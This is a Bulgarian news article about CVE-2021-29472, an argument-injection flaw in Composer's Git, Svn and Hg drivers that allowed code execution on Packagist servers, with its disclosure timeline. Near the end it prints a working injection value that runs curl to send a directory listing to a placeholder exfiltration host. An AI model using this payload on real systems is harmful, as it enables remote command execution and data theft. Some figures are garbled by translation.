Уязвимост Π² ΠΌΠ΅Π½ΠΈΠ΄ΠΆΡŠΡ€Π° Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ Composer, която позволява ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΠΈΡ€Π°Π½Π΅ Π½Π° PHP Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅Ρ‚ΠΎ Π½Π° Packagist

Π‘Π΅ΡˆΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½Π° ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½Π° уязвимост (CVE-2021-29472) Π² ΠΌΠ΅Π½ΠΈΠ΄ΠΆΡŠΡ€Π° Π½Π° зависимости Π½Π° Composer, ΠΊΠΎΠΉΡ‚ΠΎ позволява ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ изпълнявани Π² систСмата ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ със спСциално Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€Π°Π½Π° URL стойност, която ΡƒΠΊΠ°Π·Π²Π° адрСса Π·Π° изтСглянС Π½Π° изходния ΠΊΠΎΠ΄. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ възниква Π² ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΈΡ‚Π΅ GitDriver, SvnDriver ΠΈ HgDriver, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ ΠΏΡ€ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° систСми Π·Π° ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ» Π½Π° ΠΈΠ·Ρ‚ΠΎΡ‡Π½ΠΈΠΊΠ° Git, Subversion ΠΈ Mercurial. Уязвимостта бСшС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π° Π² вСрсии 1.10.22 ΠΈ 2.0.13 Π½Π° Composer.

Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»Π½ΠΎ сС отбСлязва, Ρ‡Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ засяга ΠΏΡ€Π΅Π΄ΠΈΠΌΠ½ΠΎ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅Ρ‚ΠΎ Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ ΠΏΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅ Π½Π° Composer, Packagist, ΠΊΠΎΠ΅Ρ‚ΠΎ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ° 306 1.4 ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π·Π° PHP Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈ ΠΈ обслуТва ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΠΎΡ‚ XNUMX ΠΌΠΈΠ»ΠΈΠ°Ρ€Π΄Π° изтСгляния Π½Π° мСсСц. Π•ΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΡŠΡ‚ ΠΏΠΎΠΊΠ°Π·Π°, Ρ‡Π΅ Π°ΠΊΠΎ ΠΈΠΌΠ° информация Π·Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ» Π½Π°Π΄ инфраструктурата Π½Π° Packagist ΠΈ Π΄Π° ΠΏΡ€ΠΈΡ…Π²Π°Π½Π°Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ Π½Π° ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ°Ρ‰ΠΈΡ‚Π΅ ΠΈΠ»ΠΈ Π΄Π° прСнасочат изтСглянията Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ към ΡΡŠΡ€Π²ΡŠΡ€ Π½Π° Ρ‚Ρ€Π΅Ρ‚Π° страна, ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°ΠΉΠΊΠΈ доставката Π½Π° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΈ Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ със Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ, Π·Π° Π΄Π° замСнят Π·Π°Π΄Π½Π°Ρ‚Π° Π²Ρ€Π°Ρ‚Π° ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅ Π½Π° процСса Π½Π° инсталиранС Π½Π° зависимостта.

ΠžΠΏΠ°ΡΠ½ΠΎΡΡ‚Ρ‚Π° Π·Π° ΠΊΡ€Π°ΠΉΠ½ΠΈΡ‚Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ сС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π°Π²Π° Π΄ΠΎ Ρ„Π°ΠΊΡ‚Π°, Ρ‡Π΅ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° composer.json ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ сС опрСдСля ΠΎΡ‚ потрСбитСля ΠΈ Π²Ρ€ΡŠΠ·ΠΊΠΈΡ‚Π΅ към ΠΈΠ·Ρ‚ΠΎΡ‡Π½ΠΈΠΊΠ° сС ΠΏΡ€Π΅Π΄Π°Π²Π°Ρ‚ ΠΏΡ€ΠΈ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° Π½Π° Ρ‚Ρ€Π΅Ρ‚ΠΈ страни, ΠΊΠΎΠΈΡ‚ΠΎ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ са Π½Π°Π΄Π΅ΠΆΠ΄Π½ΠΈ. ΠžΡΠ½ΠΎΠ²Π½ΠΈΡΡ‚ ΡƒΠ΄Π°Ρ€ ΠΏΠ°Π΄Π½Π° Π²ΡŠΡ€Ρ…Ρƒ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅Ρ‚ΠΎ Packagist.org ΠΈ услугата Private Packagist, която Π½Π°Ρ€ΠΈΡ‡Π° Composer с ΠΏΡ€Π΅Ρ…Π²ΡŠΡ€Π»ΡΠ½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈ ΠΎΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅. НападатСлитС Π±ΠΈΡ…Π° ΠΌΠΎΠ³Π»ΠΈ Π΄Π° ΠΈΠ·ΠΏΡŠΠ»Π½ΡΡ‚ своя ΠΊΠΎΠ΄ Π½Π° ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Packagist, ΠΊΠ°Ρ‚ΠΎ поставят спСциално ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€Π°Π½ ΠΏΠ°ΠΊΠ΅Ρ‚.

Π•ΠΊΠΈΠΏΡŠΡ‚ Π½Π° Packagist ΠΏΠΎΠΏΡ€Π°Π²ΠΈ уязвимостта Π² Ρ€Π°ΠΌΠΊΠΈΡ‚Π΅ Π½Π° 12 часа слСд Π΄ΠΎΠΊΠ»Π°Π΄Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° уязвимостта. Π˜Π·ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ частно ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ…Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈΡ‚Π΅ Π½Π° Packagist Π½Π° 22 Π°ΠΏΡ€ΠΈΠ» ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ бСшС отстранСн ΡΡŠΡ‰ΠΈΡ Π΄Π΅Π½. ΠŸΡƒΠ±Π»ΠΈΡ‡Π½Π° актуализация Π½Π° Composer, адрСсираща уязвимостта, бСшС ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Π½Π° Π½Π° 27 Π°ΠΏΡ€ΠΈΠ», ΠΊΠ°Ρ‚ΠΎ подробноститС бяха Ρ€Π°Π·ΠΊΡ€ΠΈΡ‚ΠΈ Π½Π° 28 Π°ΠΏΡ€ΠΈΠ». ΠžΠ΄ΠΈΡ‚ΡŠΡ‚ Π½Π° рСгистрационнитС Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π½Π° ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Packagist Π½Π΅ Ρ€Π°Π·ΠΊΡ€ΠΈ Π½ΠΈΠΊΠ°ΠΊΠ²Π° ΠΏΠΎΠ΄ΠΎΠ·Ρ€ΠΈΡ‚Π΅Π»Π½Π° дСйност, ΡΠ²ΡŠΡ€Π·Π°Π½Π° с уязвимостта.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ Π΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½ ΠΎΡ‚ Π³Ρ€Π΅ΡˆΠΊΠ° Π² ΠΊΠΎΠ΄Π° Π·Π° Π²Π°Π»ΠΈΠ΄ΠΈΡ€Π°Π½Π΅ Π½Π° URL адрСса Π² основния Ρ„Π°ΠΉΠ» composer.json ΠΈ Π²Ρ€ΡŠΠ·ΠΊΠΈΡ‚Π΅ Π·Π° изтСглянС Π½Π° ΠΈΠ·Ρ‚ΠΎΡ‡Π½ΠΈΠΊΠ°. Π“Ρ€Π΅ΡˆΠΊΠ°Ρ‚Π° ΠΏΡ€ΠΈΡΡŠΡΡ‚Π²Π° Π² ΠΊΠΎΠ΄Π° ΠΎΡ‚ Π½ΠΎΠ΅ΠΌΠ²Ρ€ΠΈ 2011 Π³. Packagist ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° спСциални слоСвС, Π·Π° Π΄Π° ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π° Π·Π°Ρ€Π΅ΠΆΠ΄Π°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΊΠΎΠ΄, Π±Π΅Π· Π΄Π° Π΅ ΠΎΠ±Π²ΡŠΡ€Π·Π°Π½ с ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Π° систСма Π·Π° ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ» Π½Π° ΠΈΠ·Ρ‚ΠΎΡ‡Π½ΠΈΠΊΠ°, ΠΊΠΎΠΈΡ‚ΠΎ сС ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚ Ρ‡Ρ€Π΅Π· ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅ Π½Π° β€žfromShellCommandlineβ€œ ΠΈ ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ ΠΎΡ‚ командния Ρ€Π΅Π΄. НапримСр Π·Π° git сС ΠΈΠ·Π²ΠΈΠΊΠ²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° β€žgit ls-remote -heads $URLβ€œ, ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ URL Π°Π΄Ρ€Π΅ΡΡŠΡ‚ сС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π²Π° с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° β€žProcessExecutor::escape($url)β€œ, избягвайки ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»Π½ΠΎ опасни конструкции ΠΊΠ°Ρ‚ΠΎ β€ž$(. ..)" ΠΈΠ»ΠΈ "` ...`".

Π‘ΡŠΡ‰Π½ΠΎΡΡ‚Ρ‚Π° Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π΅, Ρ‡Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΡŠΡ‚ ProcessExecutor::escape Π½Π΅ Π΅ избягал ΠΎΡ‚ послСдоватСлността β€žβ€”β€œ, ΠΊΠΎΠ΅Ρ‚ΠΎ Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»ΠΎ всСки Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π΅Π½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€ Π·Π° ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅ Π΄Π° бъдС ΡƒΠΊΠ°Π·Π°Π½ Π² URL адрСса. Π’Π°ΠΊΠΎΠ²Π° избягванС липсвашС Π² Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ΠΈΡ‚Π΅ GitDriver.php, SvnDriver.php ΠΈ HgDriver.php. Атаката GitDriver.php бСшС Π²ΡŠΠ·ΠΏΡ€Π΅ΠΏΡΡ‚ΡΡ‚Π²Π°Π½Π° ΠΎΡ‚ Ρ„Π°ΠΊΡ‚Π°, Ρ‡Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° β€žgit ls-remoteβ€œ Π½Π΅ ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ°ΡˆΠ΅ посочванС Π½Π° Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ слСд ΠΏΡŠΡ‚Ρ. Атаката срСщу HgDriver.php сС ΠΎΠΊΠ°Π·Π° възмоТна Ρ‡Ρ€Π΅Π· ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€Π° β€ž--configβ€œ Π½Π° ΠΏΠΎΠΌΠΎΡ‰Π½Π°Ρ‚Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ° β€žhqβ€œ, която Π²ΠΈ позволява Π΄Π° ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°Ρ‚Π΅ ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° всяка ΠΊΠΎΠΌΠ°Π½Π΄Π° Ρ‡Ρ€Π΅Π· ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€Π°Π½Π΅ Π½Π° настройката β€žalias.identifyβ€œ. НапримСр, Π·Π° Π΄Π° ΠΈΠ·Ρ‚Π΅Π³Π»ΠΈΡ‚Π΅ ΠΈ ΠΈΠ·ΠΏΡŠΠ»Π½ΠΈΡ‚Π΅ ΠΊΠΎΠ΄ Ρ‡Ρ€Π΅Π· стартиранС Π½Π° ΠΏΠΎΠΌΠΎΡ‰Π½Π°Ρ‚Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ° curl, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° посочитС: β€”config=alias.identify=!curl http://exfiltration-host.tld β€”data β€œ$(ls -alh)”

Π§Ρ€Π΅Π· ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Π½Π΅ Π½Π° тСстов ΠΏΠ°ΠΊΠ΅Ρ‚ с ΠΏΠΎΠ΄ΠΎΠ±Π΅Π½ URL Π½Π° Packagist, изслСдоватСлитС ΠΏΠΎΡ‚Π²ΡŠΡ€Π΄ΠΈΡ…Π°, Ρ‡Π΅ слСд ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Π½Π΅Ρ‚ΠΎ тСхният ΡΡŠΡ€Π²ΡŠΡ€ Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» HTTP заявка ΠΎΡ‚ Π΅Π΄ΠΈΠ½ ΠΎΡ‚ ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Packagist Π² AWS, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰Π° списък с Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π°Ρ‚Π° дирСктория.

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€